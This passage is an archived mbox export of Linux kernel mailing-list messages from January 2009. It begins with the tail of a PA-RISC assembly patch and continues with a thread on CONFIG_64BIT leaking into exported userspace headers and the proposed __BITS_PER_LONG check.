-	depi		0,31,12,pte
-	extru		pte,24,25,pte
+	depi		0,31,ASM_PFN_PTE_SHIFT,pte
+	SHRREG		pte,(ASM_PFN_PTE_SHIFT-(31-26)),pte
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 01:24:25 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <200901210124.26118.arnd@arndb.de>
References: <1232496257.3123.19.camel@localhost.localdomain> <20090120.161626.93641145.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232497492 31085 80.91.229.12 (21 Jan 2009 00:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 00:24:52 +0000 (UTC)
Cc: jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 01:26:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPQuv-0008B9-Do
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 01:26:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753518AbZAUAYm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Jan 2009 19:24:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756371AbZAUAYm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 Jan 2009 19:24:42 -0500
Original-Received: from moutng.kundenserver.de ([212.227.17.9]:64458 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753518AbZAUAYl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Jan 2009 19:24:41 -0500
Original-Received: from noname (port-92-200-20-185.dynamic.qsc.de [92.200.20.185])
	by mrelayeu.kundenserver.de (node=mrelayeu4) with ESMTP (Nemesis)
	id 0ML21M-1LPQtP1c7u-0007gm; Wed, 21 Jan 2009 01:24:29 +0100
User-Agent: KMail/1.9.9
In-Reply-To: <20090120.161626.93641145.davem@davemloft.net>
X-Face: I@=L^?./?$U,EK.)V[4*>`zSqm0>65YtkOe>TFD'!aw?7OVv#~5xd\s,[~w]-J!)|%=]>=?utf-8?q?+=0A=09=7EohchhkRGW=3F=7C6=5FqTmkd=5Ft=3FLZC=23Q-=60=2E=60Y=2Ea=5E?=
 =?utf-8?q?3zb?=)
 =?utf-8?q?+U-JVN=5DWT=25cw=23=5BYo0=267C=26bL12wWGlZi=0A=09=7EJ=3B=5Cwg?=
 =?utf-8?q?=3B3zRnz?=,J"CT_)=\H'1/{?SR7GDu?WIopm.HaBG=QYj"NZD_[zrM\Gip^U
Content-Disposition: inline
X-Provags-ID: V01U2FsdGVkX18w2AMSzUMT7Q5G9YDW6ortaOEvOtDcWIRaqpw
 xwVs6wCWZfL5sHKatOKWYmVE6T+jk2TTQEF854q6r25tNo4EpU
 MUdE/IONDkOX3GuOrZ1hg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1207 gmane.linux.kernel:783877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1207>

On Wednesday 21 January 2009, David Miller wrote:
> From: Jaswinder Singh Rajput <jaswinder@kernel.org>
> Date: Wed, 21 Jan 2009 05:34:17 +0530
> 
> > usr/include/asm-generic/fcntl.h is giving 2 'make headers_check' warnings:
> >  usr/include/asm-generic/fcntl.h:127: leaks CONFIG_64BIT to userspace where it is not valid
> >  usr/include/asm-generic/fcntl.h:149: leaks CONFIG_64BIT to userspace where it is not valid
> > 
> > usr/include/asm-generic/fcntl.h:
> ...
> > #ifndef CONFIG_64BIT will always be true for userspace. So what is the use of #ifndef CONFIG_64BIT ?
> 
> Good catch.
> 
> This file needs to test for 64-bit'ness using some non-CONFIG_*
> test.  And the standard built-in CPP macros which can be used
> to check for that are different on every platform.

I think we should simply define a macro for use in the kernel, e.g. in
<asm/types.h>. There already is a BITS_PER_LONG macro in there, maybe
we can add an exported __BITS_PER_LONG there that checks for the right
macro on each architecture.

On parisc, there is a major confusion in this area, at some point, all
checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
not understood what the problem with __LP64__ was, the check for
CONFIG_64BIT on parisc user space looks very wrong.

	Arnd <><
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Tue, 20 Jan 2009 16:32:03 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20090120.163203.199590606.davem@davemloft.net>
References: <1232496257.3123.19.camel@localhost.localdomain>
	<20090120.161626.93641145.davem@davemloft.net>
	<200901210124.26118.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232497933 32288 80.91.229.12 (21 Jan 2009 00:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 00:32:13 +0000 (UTC)
Cc: jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: arnd@arndb.de
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 01:33:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPR24-0002Ol-4E
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 01:33:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757719AbZAUAcE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Jan 2009 19:32:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757764AbZAUAcE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 Jan 2009 19:32:04 -0500
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:53959
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1757715AbZAUAcB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Jan 2009 19:32:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id B8993C8C1B9;
	Tue, 20 Jan 2009 16:32:03 -0800 (PST)
In-Reply-To: <200901210124.26118.arnd@arndb.de>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1208 gmane.linux.kernel:783883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1208>

From: Arnd Bergmann <arnd@arndb.de>
Date: Wed, 21 Jan 2009 01:24:25 +0100

> I think we should simply define a macro for use in the kernel, e.g. in
> <asm/types.h>. There already is a BITS_PER_LONG macro in there, maybe
> we can add an exported __BITS_PER_LONG there that checks for the right
> macro on each architecture.

That might work.

> On parisc, there is a major confusion in this area, at some point, all
> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
> not understood what the problem with __LP64__ was, the check for
> CONFIG_64BIT on parisc user space looks very wrong.

Yep.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 09:13:43 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <4976D937.5040704@gmx.de>
References: <1232496257.3123.19.camel@localhost.localdomain>	<20090120.161626.93641145.davem@davemloft.net>	<200901210124.26118.arnd@arndb.de> <20090120.163203.199590606.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232525638 25054 80.91.229.12 (21 Jan 2009 08:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 08:13:58 +0000 (UTC)
Cc: arnd@arndb.de, jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 09:15:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPYEu-0001Rw-Kf
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 09:15:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751591AbZAUINt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 03:13:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753240AbZAUINt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 03:13:49 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49343 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751591AbZAUINs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 03:13:48 -0500
Original-Received: (qmail invoked by alias); 21 Jan 2009 08:13:46 -0000
Original-Received: from mnhm-590f748c.pool.einsundeins.de (EHLO halden.box) [89.15.116.140]
  by mail.gmx.net (mp069) with SMTP; 21 Jan 2009 09:13:46 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/k8Gsq4VXk8HTUqAZ7hOQQQ/i/WucbA/vekHeGYC
	vz8CqOsjEJgZ+H
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090120.163203.199590606.davem@davemloft.net>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1209 gmane.linux.kernel:783980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1209>

From: Arnd Bergmann <arnd@arndb.de>
>> On parisc, there is a major confusion in this area, at some point, all
>> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
>> not understood what the problem with __LP64__ was, the check for
>> CONFIG_64BIT on parisc user space looks very wrong.

I think the parisc mess is my fault. I once replaced the __LP64__ by 
CONFIG_64BIT and forgot that some files are exported to userspace.
I'll clean that up and send patches.

Thanks for catching this!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 09:24:22 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200901210924.23484.arnd@arndb.de>
References: <1232496257.3123.19.camel@localhost.localdomain> <20090120.163203.199590606.davem@davemloft.net> <4976D937.5040704@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232526358 26862 80.91.229.12 (21 Jan 2009 08:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 08:25:58 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 09:27:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPYQX-0004Yc-VO
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 09:27:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755514AbZAUIZd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 03:25:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757056AbZAUIZd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 03:25:33 -0500
Original-Received: from moutng.kundenserver.de ([212.227.126.187]:60747 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755514AbZAUIZb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 03:25:31 -0500
Original-Received: from klappe.local (port-92-193-179-232.dynamic.qsc.de [92.193.179.232])
	by mrelayeu.kundenserver.de (node=mrelayeu4) with ESMTP (Nemesis)
	id 0ML21M-1LPYOn2a4M-0007vf; Wed, 21 Jan 2009 09:25:29 +0100
User-Agent: KMail/1.9.9
In-Reply-To: <4976D937.5040704@gmx.de>
X-Face: I@=L^?./?$U,EK.)V[4*>`zSqm0>65YtkOe>TFD'!aw?7OVv#~5xd\s,[~w]-J!)|%=]>=?utf-8?q?+=0A=09=7EohchhkRGW=3F=7C6=5FqTmkd=5Ft=3FLZC=23Q-=60=2E=60Y=2Ea=5E?=
 =?utf-8?q?3zb?=)
 =?utf-8?q?+U-JVN=5DWT=25cw=23=5BYo0=267C=26bL12wWGlZi=0A=09=7EJ=3B=5Cwg?=
 =?utf-8?q?=3B3zRnz?=,J"CT_)=\H'1/{?SR7GDu?WIopm.HaBG=QYj"NZD_[zrM\Gip^U
Content-Disposition: inline
X-Provags-ID: V01U2FsdGVkX1+lFiLv4fm9rqYjP2MjQnD+HZKhatzUsWTJGhE
 hWzykKW/5JZGnoJg8AGqwLSHPeoBiH3I7Ht3pVVuOk4mL5OJt1
 lUvP/H0MUg4UIPEEDKH0A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1210 gmane.linux.kernel:783988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1210>

On Wednesday 21 January 2009, Helge Deller wrote:
> From: Arnd Bergmann <arnd@arndb.de>
> >> On parisc, there is a major confusion in this area, at some point, all
> >> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
> >> not understood what the problem with __LP64__ was, the check for
> >> CONFIG_64BIT on parisc user space looks very wrong.
> 
> I think the parisc mess is my fault. I once replaced the __LP64__ by 
> CONFIG_64BIT and forgot that some files are exported to userspace.
> I'll clean that up and send patches.

I have a patch set that introduces a lot more asm-generic headers where
I also need a generic way to check for this. The approach I chose
here was to check "#if __BITS_PER_LONG == 64" for anything that is
exported to user space. Maybe you can #define this in asm/types.h
and use this check in the parisc headers as well.

	Arnd <><
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 12:38:53 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20090121113853.GB1579@uranus.ravnborg.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <20090120.163203.199590606.davem@davemloft.net> <4976D937.5040704@gmx.de> <200901210924.23484.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1232537852 30001 80.91.229.12 (21 Jan 2009 11:37:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 11:37:32 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, David Miller <davem@davemloft.net>,
	jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 12:38:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPbPl-0002Bc-44
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 12:38:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757391AbZAULhN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 06:37:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756868AbZAULhN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 06:37:13 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:33899 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756604AbZAULhM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 06:37:12 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 9909CF8401B;
	Wed, 21 Jan 2009 12:37:07 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 9169F580D0; Wed, 21 Jan 2009 12:38:53 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200901210924.23484.arnd@arndb.de>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1211 gmane.linux.kernel:784083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1211>

On Wed, Jan 21, 2009 at 09:24:22AM +0100, Arnd Bergmann wrote:
> On Wednesday 21 January 2009, Helge Deller wrote:
> > From: Arnd Bergmann <arnd@arndb.de>
> > >> On parisc, there is a major confusion in this area, at some point, all
> > >> checks for __LP64__ got replaced with CONFIG_64BIT there. While I have
> > >> not understood what the problem with __LP64__ was, the check for
> > >> CONFIG_64BIT on parisc user space looks very wrong.
> > 
> > I think the parisc mess is my fault. I once replaced the __LP64__ by 
> > CONFIG_64BIT and forgot that some files are exported to userspace.
> > I'll clean that up and send patches.
> 
> I have a patch set that introduces a lot more asm-generic headers where
> I also need a generic way to check for this. The approach I chose
> here was to check "#if __BITS_PER_LONG == 64" for anything that is
> exported to user space. Maybe you can #define this in asm/types.h
> and use this check in the parisc headers as well.

Could we add a new symbol for this?
We know we are going to use this in several places so a simpler variant
would be more readable.

Something like:

#ifdef __64BIT
...
#endif


When we define __64BIT we would use the  __BITS_PER_LONG == 64 check.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 13:13:16 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <200901211313.17394.arnd@arndb.de>
References: <1232496257.3123.19.camel@localhost.localdomain> <200901210924.23484.arnd@arndb.de> <20090121113853.GB1579@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1232540034 4525 80.91.229.12 (21 Jan 2009 12:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 12:13:54 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, David Miller <davem@davemloft.net>,
	jaswinder@kernel.org, mingo@elte.hu, x86@kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 13:15:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPbz6-000339-SA
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 13:15:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757575AbZAUMNp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 07:13:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757895AbZAUMNp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 07:13:45 -0500
Original-Received: from moutng.kundenserver.de ([212.227.17.9]:62608 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757575AbZAUMNo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 07:13:44 -0500
Original-Received: from dyn-9-152-222-92.boeblingen.de.ibm.com (blueice1n1.de.ibm.com [195.212.29.163])
	by mrelayeu.kundenserver.de (node=mrelayeu4) with ESMTP (Nemesis)
	id 0ML21M-1LPbxQ3pGa-0007v5; Wed, 21 Jan 2009 13:13:24 +0100
User-Agent: KMail/1.9.9
In-Reply-To: <20090121113853.GB1579@uranus.ravnborg.org>
X-Face: I@=L^?./?$U,EK.)V[4*>`zSqm0>65YtkOe>TFD'!aw?7OVv#~5xd\s,[~w]-J!)|%=]>=?utf-8?q?+=0A=09=7EohchhkRGW=3F=7C6=5FqTmkd=5Ft=3FLZC=23Q-=60=2E=60Y=2Ea=5E?=
 =?utf-8?q?3zb?=)
 =?utf-8?q?+U-JVN=5DWT=25cw=23=5BYo0=267C=26bL12wWGlZi=0A=09=7EJ=3B=5Cwg?=
 =?utf-8?q?=3B3zRnz?=,J"CT_)=\H'1/{?SR7GDu?WIopm.HaBG=QYj"NZD_[zrM\Gip^U
Content-Disposition: inline
X-Provags-ID: V01U2FsdGVkX18j7iXv/AAuslwcLlDS0eK1Lf5TdLZ66HH7aLR
 ZygF2RfLfNz5hEuuyfeIBkmX4GGGeQ57U2AM+JtnzZJEvTl32W
 423SSfIAdJmsqtS5TBctA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1212 gmane.linux.kernel:784096
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1212>

On Wednesday 21 January 2009, Sam Ravnborg wrote:
> Could we add a new symbol for this?
> We know we are going to use this in several places so a simpler varia=
nt
> would be more readable.
>=20
> Something like:
>=20
> #ifdef __64BIT
> ...
> #endif
>=20
> When we define __64BIT we would use the =A0__BITS_PER_LONG =3D=3D 64 =
check.

I would prefer using the __BITS_PER_LONG =3D=3D 64 check directly, beca=
use
it gives you a warning when __BITS_PER_LONG is undefined, whereas the
#ifdef check gets easily fooled by include order problems. Note that
this is not a problem in the kernel for CONFIG_* symbols which are
always defined before the first #include.

	Arnd <><
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Confusion in usr/include/asm-generic/fcntl.h
Date: Wed, 21 Jan 2009 09:29:37 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20090121142937.GB27998@bombadil.infradead.org>
References: <1232496257.3123.19.camel@localhost.localdomain> <200901210924.23484.arnd@arndb.de> <20090121113853.GB1579@uranus.ravnborg.org> <200901211313.17394.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1232548202 1931 80.91.229.12 (21 Jan 2009 14:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2009 14:30:02 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Helge Deller <deller@gmx.de>,
	David Miller <davem@davemloft.net>, jaswinder@kernel.org,
	mingo@elte.hu, x86@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 15:31:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LPe6q-0001gb-Qf
	for glpp-linux-parisc@gmane.org; Wed, 21 Jan 2009 15:31:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754031AbZAUO3x convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 21 Jan 2009 09:29:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754042AbZAUO3w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 21 Jan 2009 09:29:52 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59036 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754031AbZAUO3w convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 21 Jan 2009 09:29:52 -0500
